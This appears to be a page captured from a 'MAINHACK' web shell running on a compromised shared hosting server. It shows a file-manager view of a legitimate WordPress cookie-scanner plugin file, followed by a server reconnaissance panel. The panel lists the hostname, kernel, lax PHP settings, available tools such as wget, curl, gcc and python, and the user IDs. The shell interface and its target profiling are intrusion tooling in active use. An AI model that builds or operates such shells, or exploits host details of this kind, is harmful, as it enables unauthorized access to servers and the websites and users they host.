[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: scanner.php
File is not writable. Editing disabled.
<?php namespace CookieAdminPro; if(!defined('COOKIEADMIN_PRO_VERSION') || !defined('ABSPATH')){ die('Hacking Attempt'); } class Scanner { const SCAN_TIMEOUT = 55; // Seconds /** * The main public method to start the scan. * * @param string $urls_to_scan The URLs of the site to scan. * @return array|\WP_Error The formatted array of cookies on success, or a WP_Error object on failure. */ public static function start_scan($urls_to_scan) { global $cookieadmin, $cookieadmin_error; $args = [ 'method' => 'POST', 'timeout' => self::SCAN_TIMEOUT, 'body' => [ 'urls' => $urls_to_scan ] ]; $api_url = cookieadmin_pro_api_url(-1); $url = $api_url.'scanner.php?license='.$cookieadmin['license']['license'].'&url='.rawurlencode(site_url()); // Use the built-in WordPress HTTP API to call your PHP endpoint. $response = wp_remote_post($url, $args); // --- Handle the response from the scanner server --- if (is_wp_error($response)) { // This catches network-level errors (e.g., DNS lookup failure, cURL error, timeout) $cookieadmin_error = $cookieadmin_error . ' ' . __('Network error: ' . $response->get_error_message(), 'cookieadmin'); return false; } $status_code = wp_remote_retrieve_response_code($response); $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); // Handle specific errors from our endpoint if ($status_code !== 200) { $error_message = $data['error'] ?? 'An unknown error occurred on the scanner server.'; $cookieadmin_error = $cookieadmin_error . ' ' . __('Status Code: '.$status_code. ' ' . $error_message, 'cookieadmin'); return false; } if (json_last_error() !== JSON_ERROR_NONE) { $cookieadmin_error = $cookieadmin_error . ' ' . __('The scanner server returned an unreadable response.', 'cookieadmin'); return false; } update_option('cookieadmin_pro_scanner', array('last_scan' => time())); if(!empty($data['cookies'])){ // Success! The data is valid. Now format it for our internal use. return self::format_scan_results($data['cookies']); }else if(!empty($data['job_id'])){ return [ 'job_id' => sanitize_text_field($data['job_id']), 'status' => $data['status'] ]; } return array(); } /** * Converts the cookie array from the API into our internal format. * This is the same formatting function you had before. * * @param array $scan_results The array of cookies from the scanner. * @return array The formatted array ready for the database. */ private static function format_scan_results(array $scan_results) { $formatted = []; foreach ($scan_results as $cookie) { $expires_datetime = ($cookie['expires'] && $cookie['expires'] != -1) ? gmdate("Y-m-d H:i:s", (int)$cookie['expires']) : null; $formatted[$cookie['name']] = [ 'name' => $cookie['name'], 'value' => $cookie['value'], 'expires' => $expires_datetime, 'path' => $cookie['path'], 'domain' => $cookie['domain'], 'secure' => (bool)$cookie['secure'], 'httponly' => (bool)$cookie['httpOnly'], 'Max-Age' => null, 'samesite' => $cookie['sameSite'] ?? null, ]; } return $formatted; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.25 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A